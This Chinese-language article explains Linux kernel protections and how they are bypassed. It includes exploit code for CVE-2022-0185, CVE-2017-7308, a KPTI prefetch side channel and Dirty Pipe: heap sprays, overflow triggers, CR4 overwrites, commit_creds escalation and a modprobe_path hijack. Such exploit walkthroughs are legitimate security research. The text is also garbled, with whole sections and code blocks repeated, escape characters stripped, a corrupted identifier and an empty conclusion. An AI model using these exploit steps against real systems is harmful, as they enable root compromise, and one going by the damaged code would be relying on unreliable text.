內核保護和利用是一個長期對抗的過程,出現了新的利用方法相應的也會出現新的對抗手段。 安全防護并不能完全保證內核是安全的,一旦有危害性更高的漏洞出現,就很容易打破這些保護使其輕易的獲取系統權限。
1 內核是什么?
內核是操作系統的核心部分。內核負責管理計算機的硬件資源,并實現操作系統的基本功能。內核是操作系統中最重要的部分,它是操作系統與硬件之間的橋梁。內核可以被看作是操作系統的“心臟”,負責控制和管理計算機系統的所有硬件和軟件資源。不同的操作系統有不同的內核,比如linux操作系統有Linux內核,Linux內核是Linux操作系統的核心部分,它是由C語言編寫的程序,并且是一個開源軟件,它的源代碼可以自由下載和修改。Linux內核提供了多種功能,包括內存管理、進程管理、文件系統支持、網絡通信等,Linux內核的設計具有高度的可擴展性和靈活性,可以應對各種應用場景和硬件平臺。
2 內核漏洞
有代碼就有漏洞,內核也不例外。內核漏洞是操作系統內核中的存在的安全漏洞,這些漏洞可能導致系統被惡意軟件入侵或攻擊者控制,并可能造成數據泄露、系統癱瘓等嚴重后果。例如:攻擊者可能會利用內核漏洞來繞過系統安全保護,提升權限,從而獲取用戶敏感信息,或者在系統中安裝惡意軟件,損壞系統數據或癱瘓整個系統。著名漏洞“dirty cow”(臟牛漏洞)影響之廣,從2007年到2018年之間的所有發行版都受其影響,讓全世界數百萬臺設備暴露在威脅當中。
如圖為近10年漏洞報送數量,表中可知Linux內核漏洞數量一直處于高位,基本每年在100以上,尤其2017年漏洞數量最多,達到449個之多。
因此及時發現,修復內核漏洞非常重要。通常,操作系統廠商會定期發布補丁來修復內核漏洞。同時為了減小漏洞發現造成的危害,Linux內核采用了多種技術來提高漏洞利用的難度來保護系統安全。例如:SMEP保護、SMAP保護、KASLR保護、KPTI保護。但即使是這么多保護,也無法安全保護內核,漏洞可以輕松繞過這些保護,達到提權效果。下面介紹這些年出現Linux內核保護技術以及針對這些保護技術的繞過方法。
3 Linux內核保護與繞過
3.1 KASLR 保護
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露內核基地址:堆噴大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,從而泄露基地址。
- 準備 fs_context 漏洞對象;
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
- 往kmalloc-32堆噴seq_operations對象;
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
- 創建大量msg_msg消息(大小為0xfe8),會將輔助消息分配在kmalloc-32
- 觸發kmalloc-4096溢出,修改msg_msg->m_ts;
char tiny_evil[] = "DDDDDDx60x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"x00",tiny_evil,0);
- 利用msg_msg越界讀,泄露內核指針。
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lxn", kbase);
泄露出基地址后,可根據偏移計算任何內核函數地址達到提權。
3 Linux內核保護與繞過
3.1 KASLR 保護
linux內核(2005年)開始支持KASLR。KASLR(Kernel Address Space Layout Randomization)是一種用于保護操作系統內核的安全技術。它通過在系統啟動時隨機化內核地址空間的布局來防止攻擊者確定內核中的精確地址。即使攻擊者知道了一些內核代碼的位置,也無法精確定位內核中的其他代碼和數據,從而繞過系統安全保護。在實現時主要通過改變原先固定的內存布局來提升內核安全性,因此在代碼實現過程中,kaslr與內存功能存在比較強的耦合關系。
隨機化公式: 函數基地址 +隨機值=內存運行地址
比如先查看 entry_SYSCALL_64函數的基地址為 0xffffffff82000000
它運行時的內存地址為0xffffffff8fa00000
將運行地址減函數基地址得到隨機值變量0xda00000(0xffffffff8fa00000-0xffffffff82000000=0xda00000) ,這0xda0000就是隨機值,每次系統啟動的時候都會發生變化。
在有kaslr保護的情況下,漏洞觸發要跳轉到指定的函數位置時,由于隨機值的存在,無法確定函數在內存中的具體位置,如果要利用就需要預先知道目標函數地址以及shellcode存放在內存中的地址,這使得漏洞利用比較困難。
針對這種保護技術,目前比較常規的繞過方法是利用漏洞泄露出內核中某些結構體,通過上面計算方法算出內核基地址,有了基地址后就可以計算想要的函數地址了。
如CVE-2022-0185,是一個提權漏洞,漏洞成因是 len > PAGE-2-size 整數溢出導致判斷錯誤,后面繼續拷貝造成堆溢出。
diff --git a/fs/fs_context.c b/fs/fs_context.c
index b7e43a780a625..24ce12f0db32e 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -548,7 +548,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}
- if (len > PAGE_SIZE - 2 - size) //這里存在整數溢出,后面的拷貝會造成堆溢出
+ if (size + len + 2 > PAGE_SIZE)
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
函數調用路徑:_x64_sys_fsconfig() ---> vfs_fsconfig_locked()-->vfs_parse_fs_param()-->legacy_parse_param(),vfs_parse_fs_param()中的函數指針定義在legacy_fs_context_ops函數表中,在alloc_fs_context()函數中完成filesystem context結構的分配和初始化。
在legacy_parse_param 函數:linux5.11/fs/fs_context.c: legacy_parse_param
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //--此處邊界檢查有問題
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次時會分配一頁大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷貝,存在越界
size += param->size;
}
ctx->legacy_data[size] = '';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
(len > PAGE_SIZE - 2 - size )判斷處有問題,根據符號優先級 ”-“的優先級是4,”>" 的優先級是6,所以先執行右邊模塊。又因為數據類型自動轉換原則,"PAGE_SIZE-2-size" 轉換為無符號進行運算。size變量由用戶空間傳入,當size的值大于“PAGE_SIZE-2”的差值時,運算產生溢出。后面拷貝時,size是大于kmalloc申請的“PAGE_SIZE - 2”大小。在memcpy(ctx->legacy_data + size, param->string, param->size); 這個位置,導致溢出。
legacy_parse_param函數是處理文件系統掛載過程中的一些功能,所以對這個漏洞的利用,不同磁盤格式利用方式也不一樣,這里我們在ext4磁盤格式下,了解一下其漏洞利用過程。首先fsopen打開一個文件系統環境,用戶可以用來mount新的文件系統。 fsconfig()調用能讓我們往 ctx->legacy_data寫入一個新的(key,valu),ctx->legacy_data指向一個4096字節的緩沖區(首次配置文件系統時就分配)。 len > PAGE_SIZE-2-size , len是將要寫的長度,PAGE_SIZE == 4096, size是已寫的長度,2字節表示一個逗號和一個NULL終止符。當size是unsigned int(總是被當作正值),會導致整數溢出,如果相減的結果小于0,還是被包裝成正值。執行117次后添加長度為0的key和長度為33的value,最終的size則為(117*(33+2))4095,這樣PAGE_SIZE-2-size-1==18446744073709551615 ,這樣無論len多大都能滿足條件。可以設置為"x00",這樣逗號會寫入偏移4095,等號寫入下給kmalloc-4096d 偏移0處,接著就能往偏移1處開始往后寫value。
針對這個漏洞,我們可以利用seq_operations結構體泄露內核基地址從而繞過KASLR,seq_operations 是一個大小為0x20的結構體,在打開/proc/self/stat會申請出來。里面定義了四個函數指針,通過他們可以泄露出內核基地址。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
利用seq_operations泄露內核基地址:堆噴大量 seq_operations (open("/proc/self/stat",O_RDONLY)) ,溢出篡改msg_msg->m_ts的值,從而泄露基地址。
- 準備 fs_context 漏洞對象;
int call_fsopen(){
int fd = fsopen("ext4",0);
if(fd <0){
perror("fsopen");
exit(-1);
}
return fd;
}
- 往kmalloc-32堆噴seq_operations對象;
for(int i=0;i<100;i++){
open("/proc/self/stat",O_RDONLY);
}
- 創建大量msg_msg消息(大小為0xfe8),會將輔助消息分配在kmalloc-32
- 觸發kmalloc-4096溢出,修改msg_msg->m_ts;
char tiny_evil[] = "DDDDDDx60x10";
fsconfig(fd,FSCONFIG_SET_STRING,"CCCCCCCC",tiny,0);
fsconfig(fd,FSCONFIG_SET_STRING,"x00",tiny_evil,0);
- 利用msg_msg越界讀,泄露內核指針。
get_msg(targets[i],received,size,0,IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
printf("[*] received 0x%lxn", kbase);
泄露出基地址后,可根據偏移計算任何內核函數地址達到提權。
3.2 SMEP&SMAP保護
linux內核從3.0(2011年8月)開始支持SMEP,3.7(2012年12月)開始支持SMAP。SMEP(Supervisor Mode Execution Protection)是一種用于保護操作系統內核安全的技術。它通過在CPU開一個比特位,來限制內核態訪問用戶態的代碼。當有了內核的控制權去執行用戶態中的shellcode,CPU會拒絕執行該操作,并向操作系統發出一個異常中斷。這樣,即使攻擊者成功執行了惡意代碼,也無法繞過系統安全保護訪問,從而大大增強了系統的安全性。根據CR4寄存器的值判斷是否開啟smep保護,當CR4寄存器的第20位是1時,保護開啟,為0時,保護關閉。
SMAP(Supervisor Mode Access Protection)是一種用于保護操作系統內核的安全技術。它與SMEP相似,都在CPU中開啟一個比特位來限制內核態訪問用戶態的能力。它使用戶態的指針無法被內核態解引用。這樣即使攻擊者成功執行了惡意代碼,也無法繞過系統安全保護讀取內核空間中的敏感信息。判斷CR4寄存器的值來確定是否開啟,當CR4寄存器的值第21位是1時,SMAP開啟。
針對SMEP、SMAP保護時,一般是通過漏洞修改寄存器關閉保護,達到繞過保護的目的。比如可以通過獲得內核基地址后算出native_write_cr4函數在內存運行時地址,控制PC跳轉到native_write_cr4函數去覆寫CR4寄存器的20位和21位關閉保護,CPU只是判斷CR4寄存器的20位21位的值,只要為0零就能關閉保護,同樣也可以使用ROP的方式在內核鏡像中尋找ROP組合出能修改cr4寄存器的鏈。
CVE-2017-7308漏洞,是內核套接字中的packet_set_ring()函數沒有正確檢測size,長度判斷條件錯誤,導致堆溢出。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
if (po->tp_version >= TPACKET_V3 &&
(int)(req->tp_block_size -
BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
goto out;
...
}
判斷內存塊頭部加上每個內存塊私有數據的大小不超過內存塊自身的大小,保證內存中有足夠的空間。當req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值時,這個判斷就會被繞過。隨后代碼執行到init_prb_bdqc函數處創建環形緩沖區。
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring){
...
order = get_order(req->tp_block_size); // 內核頁的階
pg_vec = alloc_pg_vec(req, order); // 在某個階上取一頁
if (unlikely(!pg_vec))
goto out;
// 創建一個接收數據包的TPACKET_V3環形緩沖區。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
...
}
在init_prb_bdqc函數中,req_u->req3.tp_sizeof_priv(unsigned int)賦值給了p1->blk_sizeof_priv(unsigned short),被分割成低位字節。因為tp_sizeof_priv可控,所以blk_sizeof_priv也可控。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); //初始化第一個內存塊
}
因為blk_sizeof_priv可控,進而可以間接控制max_frame_len的值,該值是最大幀范圍,控制max_frame_len的值超過實際幀大小,當內核接收數據包即可繞大小檢測。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
判斷內存塊頭部加上每個內存塊私有數據的大小不超過內存塊自身的大小,保證內存中有足夠的空間。當req_u->req3.tp_sizeof_priv 接近unsigned int 的最大值時,這個判斷就會被繞過。隨后代碼執行到init_prb_bdqc函數處創建環形緩沖區。
...
order = get_order(req->tp_block_size); // 內核頁的階
pg_vec = alloc_pg_vec(req, order); // 在某個階上取一頁
if (unlikely(!pg_vec))
goto out;
// 創建一個接收數據包的TPACKET_V3環形緩沖區。
switch (po->tp_version) {
case TPACKET_V3:
/* Transmit path is not supported. We checked
* it above but just being paranoid
*/
if (!tx_ring)
init_prb_bdqc(po, rb, pg_vec, req_u);
break;
default:
break;
...
在init_prb_bdqc函數中,req_u->req3.tp_sizeof_priv(unsigned int)賦值給了p1->blk_sizeof_priv(unsigned short),被分割成低位字節。因為tp_sizeof_priv可控,所以blk_sizeof_priv也可控。
static void init_prb_bdqc(struct packet_sock *po,
struct packet_ring_buffer *rb,
struct pgv *pg_vec,
union tpacket_req_u *req_u)
{
struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);
struct tpacket_block_desc *pbd;
...
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
prb_init_ft_ops(p1, req_u);
prb_setup_retire_blk_timer(po);
prb_open_block(p1, pbd); //初始化第一個內存塊
}
因為blk_sizeof_priv可控,進而可以間接控制max_frame_len的值,該值是最大幀范圍,控制max_frame_len的值超過實際幀大小,當內核接收數據包即可繞大小檢測。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
struct tpacket_block_desc *pbd1)
{
struct timespec ts;
struct tpacket_hdr_v1 *h1 = &pbd1->hdr.bh1;
...
pkc1->pkblk_start = (char *)pbd1;
pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2FP(pbd1) = (__u32)BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
BLOCK_O2PRIV(pbd1) = BLK_HDR_LEN;
...
}
nxt_offset是寫入內存塊的偏移量。通過pkc1->blk_sizeof_priv間接控nxt_offset。從packet_set_ring函數繞過檢測開始,后面的最大值以及寫入偏移都可控,所以可以利用溢出修改SMEP和SMAP保護。
利用思路首先創建一個環形緩沖區,再在某個環形緩沖區內存后面分配一個packet_sock對象,將接收環形緩沖區附加到packet_sock對象,溢出它,覆蓋prb_bdqc->retire_blk_timer字段,使得retire_blk_timer->func指向native_write_cr4函數,retire_blk_timer->data 設置覆蓋值,等待計時器執行func后關閉SMEP和SMAP。native_write_cr4函數是內核4.x版本的內置inline匯編函數,主要用來修改CR4寄存器的。
堆分配512個 socket對象
void kmalloc_pad(int count) {
for(int i=0;i<512;i++){
if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP))==-1)
printf("[-] socket errn");
exit(-1);
}
}
頁分配1024個頁
void pagealloc_pad(int count){
packet_socket(0x8000,2048,count,0,100);
}
int packet_socket(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
printf("[-] socket errn");
exit(-1);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
sizeof_priv, timeout);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo"); //網絡接口
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
printf("[-] bind errn");
exit(-1);
}
return s;
}
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr,
unsigned int sizeof_priv, unsigned int timeout) {
int v = TPACKET_V3;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
printf("[-] setsockopt errn");
exit(-1);
}
struct tpacket_req3 req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
req.tp_retire_blk_tov = timeout;
req.tp_sizeof_priv = sizeof_priv;
req.tp_feature_req_word = 0;
// 創建PACKET_RX_RING 的環形緩沖區
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
printf("[-] setsockopt errn");
exit(-1);
}
}
執行關閉SMEP和SMAP保護
void oob_timer_execute(void *func, unsigned long arg) {
// 構造溢出堆
oob_setup(2048 + TIMER_OFFSET - 8);
int i;
for (i = 0; i < 32; i++) {
// 環形緩沖區后面創建 packet_sockt 對象
int timer = packet_sock_kmalloc();
// 附加到packet_sockt對象后面,設置計時器時間
packet_sock_timer_schedule(timer, 1000);
}
char buffer[2048];
memset(&buffer[0], 0, sizeof(buffer));
struct timer_list *timer = (struct timer_list *)&buffer[8];
timer->function = func; // 為 native_write_cr4 函數地址
timer->data = arg;
timer->flags = 1;
// 發送數據包到接收環形緩沖區上,溢出環形緩沖區的retire_blk_timer->func,并等待計時器執行
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
sleep(1);
}
// 為了構造堆溢出,計算到 retire_blk_timer 的偏移值
int oob_setup(int offset) {
unsigned int maclen = ETH_HDR_LEN;
unsigned int.NEToff = TPACKET_ALIGN(TPACKET3_HDRLEN +
(maclen < 16 ? 16 : maclen));
unsigned int macoff = netoff - maclen;
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
0x8000 - BLK_HDR_LEN - macoff + offset;
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}
溢出xmit字段,指向用戶空間的申請的commit_creds(prepare_kernel_cred(0)) 函數獲得root。
int ps[32];
int i;
for (i = 0; i < 32; i++)
ps[i] = packet_sock_kmalloc(); //創建 packet_sockt 對象
char buffer[2048];
memset(&buffer[0], 0, 2048);
void **xmit = (void **)&buffer[64];
*xmit = func; // 用戶空間的commit_creds(prepare_kernel_cred(0))函數
// 溢出寫入packet_sock->xmit處
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
for (i = 0; i < 32; i++)
packet_sock_id_match_trigger(ps[i]); // 發送數據包到 packet_sockt對象上,執行xmit
3.3 KPTI保護
linux內核從4.15(2018年-2月)開始支持KPTI。KPTI(kernel page-table isolation, 內核頁表隔離,也稱PTI)是Linux內核中的一種強化技術,旨在更好地隔離用戶空間與內核空間的內存來提高安全性,緩解現代x86 CPU中的“熔毀”硬件安全缺陷。KPTI通過完全分離用戶空間與內核空間頁表來解決頁表泄露。一旦開啟了 KPTI,由于內核態和用戶態的頁表不同,所以如果使用 ret2user或內核執行 ROP返回用戶態時,由于內核態無法確定用戶態的頁表,就會報出一個段錯誤。
針對這種保護方式,主流是通過signal函數和KPTI trampoline方法,近段時間一個新的思路,通過側信道泄露內存地址,從而繞過KPTI保護,執行指定代碼。
CVE-2022-4543 漏洞繞過帶有KPTI的保護,通過預取側信道找到entry_SYSCALL_64的地址,并且它與__entry_text_start和其他部分一起隨機化。思路是重復多次執行系統調用以確保頁上有緩存指令在TLB中,然后預取側信道處理程序的可能選定范圍(如0xffffffff80000000-0xffffffffc0000000)。TLB( 虛擬到物理地址轉換的緩存機制)。x86_64有一組預取指令RDTSC,這些指令將地址“預取”到 CPU 緩存中。如果正在加載的地址已存在于 TLB 中,則預取將快速完成,但當地址不存在時,預取將完成得較慢(并且需要完成頁表遍歷)。
for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < ARR_SIZE; idx++)
{
uint64_t test = SCAN_START + idx * STEP;
syscall(104); // 多次調用,確保緩存指令在TLB中
uint64_t time = sidechannel(test); // 預取
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}
uint64_t sidechannel(uint64_t addr) {
uint64_t a, b, c, d;
asm volatile (".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r" (a), "=r" (b), "=r" (c), "=r" (d)
: "r" (addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
}
普通用戶權限側信道繞過帶有給KPTI保護。
4 新內核漏洞利用方法
由于內核保護的手段日益增多,傳統的漏洞利用方法也越來越困難,所以安全研究者在研究一些新的漏洞利用方法。新的利用方法可以不關注上面的保護,如果漏洞品相好可以直接繞過保護達到內核任意地址讀寫。如:CVE-2022-0847 它因splice函數映射文件時沒有重置pipe中的flag標志,導致緩存頁越權寫入內容,利用該漏洞可在root權限文件中寫入提權腳本。
4.1 pipe管道技術
前置知識:pipe管道Linux內核中,管道本質是創建一個虛擬的inode(即創建一個虛擬文件節點)來表示,其中在節點上描述管道信息的結構體為 pipe_inode_info(inode->i_pipe). 其中包含一個管道的所有信息。當創建一個管道時,內核會創建 VFS inode,pipe_inode_info結構體、兩個文件描述符(代表著管道的兩端)、pipe_buffer結構體數組。管道原理的示意圖列。
用來表示管道中數據的是一個 pipe_buffer結構數組,單個 pipe_buffer結構體用來表示管道中單張內存頁的數據:
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: 管道緩沖區存放了數據的頁
* @offset: 在@page中數據的偏移
* @len: 在@page中數據的長度
* @ops: 該buffer的函數表,參見@pipe_buf_operations.
* @flags: 管道緩沖區的標志位,
* @private: 函數表的私有數據
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
有兩個系統調用可以創建管道,pipe、pipe2.這兩個系統調用最終都會調到 do_pipe2()函數。
存在如下調用鏈:
do_pipe2()
__do_pipe_flags()
create_pipe_files()
get_pipe_inode()
alloc_pipe_info()
最終調用 kcalloc()分配一個 pipe_buffer數組,默認數量為 PIPE_DEF_BUFFERS(16). 即一個管道初始默認可以存放16張頁面的數據.
pipe_inode_info創建:
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS; // 這個是 16
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
//...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
pipe鏈接到 inode節點上
static struct inode * get_pipe_inode(void)
{
struct inode *inode = new_inode_pseudo(pipe_mnt->mnt_sb);
struct pipe_inode_info *pipe;
...
pipe = alloc_pipe_info(); //創建 pipe
if (!pipe)
goto fail_iput;
inode->i_pipe = pipe; // pipe 鏈接到 inode節點上
...
示意圖:
管道的本體是 pipe_inode_info 結構體,其管理 pipe_buffer數組的方式本質上是一個循環隊列,其head成員標識隊列頭的idx、tail成員表示隊列尾的idx,頭進尾出.
管道的寫入過程
查表pipefifo_fops可知當向管道寫入數據時,會調用到pipe_write函數。流程如下:
- 若感到非空且上一個buf未滿,則先嘗試向上一個被寫入的buffer寫入數據(若該buffer設置了PIPE_BUF_FLAG_CAN_MERGE標志位)
- 接下來開始對新的buffer進行數據寫入,若沒有PIPE_BUF_FLAG_CAN_MERGE標志位則分配新頁面后寫入
- 循環第二步直到完成寫入,若管道滿了則會嘗試喚醒read讀取讓管道騰出空間。
這里可知 PIPE_BUF_FLAG_CAN_MERGE用以標識一個 pipe_buffer是否已經分配了可以寫入的空間。在大循環中若對于 pipe_buffer沒有設置該 flag(剛被初始化),則會新分配一個頁面供寫入,并設置該表示位。
管道的讀出過程
查表管道讀出數據時調用 pipe_read,主要是讀取buffer對應的page上的數據,若一個buffer被讀完了則將其出列。
對于一個剛剛建立的管道,其 buffer 數組其實并沒有分配對應的頁面空間,也沒有設置標志位;在我們向管道內寫入數據時會通過 buddy system 為對應 buffer 分配新的頁框,并設置 PIPE_BUF_FLAG_CAN_MERGE 標志位,標志該 buffer 可以進行寫入;而當我們從管道中讀出數據之后,縱使一個 buffer 對應的 page 上的數據被讀完了,我們也不會釋放該 page,而是會直接投入到下一次使用中,因此會保留 PIPE_BUF_FLAG_CAN_MERGE 標志位。
寫入時會設置PIPE_BUF_FLAG_CAN_MERGE 標志位。讀出時會保留PIPE_BUF_FLAG_CAN_MERGE 標志位。
splice:文件與管道間數據拷貝
當我們想要將一個文件的數據拷貝到另一個文件時,比較樸素的一種想法是打開兩個文件后將源文件數據讀入后再寫入目標文件,但這樣的做法需要在用戶空間與內核空間之間來回進行數據拷貝,具有可觀的開銷。
因此為了減少這樣的開銷, splice這一個非常獨特的系統調用應運而生,其作用是在文件與管道之間進行數據拷貝,以此將內核空間與用戶空間之間的數據拷貝轉變為內核空間內的數據拷貝,從而避免了數據在用戶空間與內核空間之間的拷貝造成的開銷。當你想要將數據從一個文件描述符拷貝到另一個文件描述符中,只需要先創建一個管道,之后使用 splice 系統調用將數據從源文件描述符拷貝到管道中、再使用 splice 系統調用將數據從管道中拷貝到目的文件描述符即可。這樣的設計使得我們只需要兩次系統調用便能完成數據在不同文件描述符間的拷貝工作,且數據的拷貝都在內核空間中完成,極大地減少了開銷。
漏洞利用
寫、讀管道,設置 PIPE_BUF_FLAG_CAN_MERGE flag,將管道寫滿后再將所有數據讀出,這樣管道的每一個 pipe_buffer 都會被設置上 PIPE_BUF_FLAG_CAN_MERGE 標志位
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = (char*) malloc(page_size);
for (int i = pipe_size; i > 0; )
{
if (i > page_size)
write_size = page_size;
else
write_size = i;
i -= write(pipe_fd[1], buffer, write_size);
}
for (int i = pipe_size; i > 0; )
{
if(i>page_size)
read_size = page_size ;
else
read_size = i;
i -= read(pipe_fd[0], buffer, read_size);
}
調用splice 函數建立 pipe_buffer 與文件的關聯(漏洞產生點)使用 splice 系統調用將數據從文件中讀入到管道,為了讓 pipe_buffer->page 其中一個頁替換為文件內存映射頁。
splice(file_fd, &offset_from_file, pipe_fd[1], NULL, 1, 0);
向管道中寫入惡意數據,完成越權寫入文件, splice 函數使內核中管道建立完頁面映射后,head指針會指向下一個pipe_buffer,此時我們再向管道中寫入數據,管道計數器會發現上一個 pipe_buffer 沒有寫滿,從而將數據拷貝到上一個 pipe_buffer 對應的頁面——即文件映射的頁面,由于 PIPE_BUF_FLAG_CAN_MERGE 仍保留著,因此內核會誤以為該頁面可以被寫入,從而完成了越權寫入文件的操作。
write(pipe_fd[1], file_fd, data_size);
漏洞測試效果:
flag文件只有讀權限沒有寫權限,使用CVE-2022-0847向這個文件寫入內容。
成功向flag寫入內容。在實現情況中,向有root權限的腳本中寫入提權代碼,觸發執行即可獲得root權限,該方法可減少內核函數地址計算以及安全保護的繞過。
4.2 kernel5.x版本和kernel4.x版本的不同
在kernel 4.x版本中常用的繞過保護方式,漏洞利用成功控制PC后跳轉到native_write_cr4函數關閉SMEP、SMAP保護,使之后部署和執行shellcode提權更為便捷。
但是在kernel 5.x版本中native_write_cr4函數被添加了commit 增加了對CR4寄存器的判斷,如檢測到了修改就還原CR4寄存器的值,不在是之前那種簡單的匯編形式了,像以前一樣簡單調用函數關閉SMEP和SMAP將不在可行。
現在較為常用的技術是利用漏洞修改常量modprobe_path 的字符串地址,
modprobe_path是用于在Linux內核中添加可加載的內核模塊,當我們在Linux內核中安裝或卸載新模塊時,就會執行這個程序。而當內核運行一個錯誤格式的文件(或未知文件類型的文件)的時候,也會調用這個 modprobe_path所指向的程序。如果我們將這個字符串指向我們自己的sh文件 ,并使用 system或 execve 去執行一個未知文件類型的錯誤文件,那么在發生錯誤的時候就可以執行我們自己的二進制文件了。同樣的有了新的利用方法也會出現相對應的保護方法。
5 總結
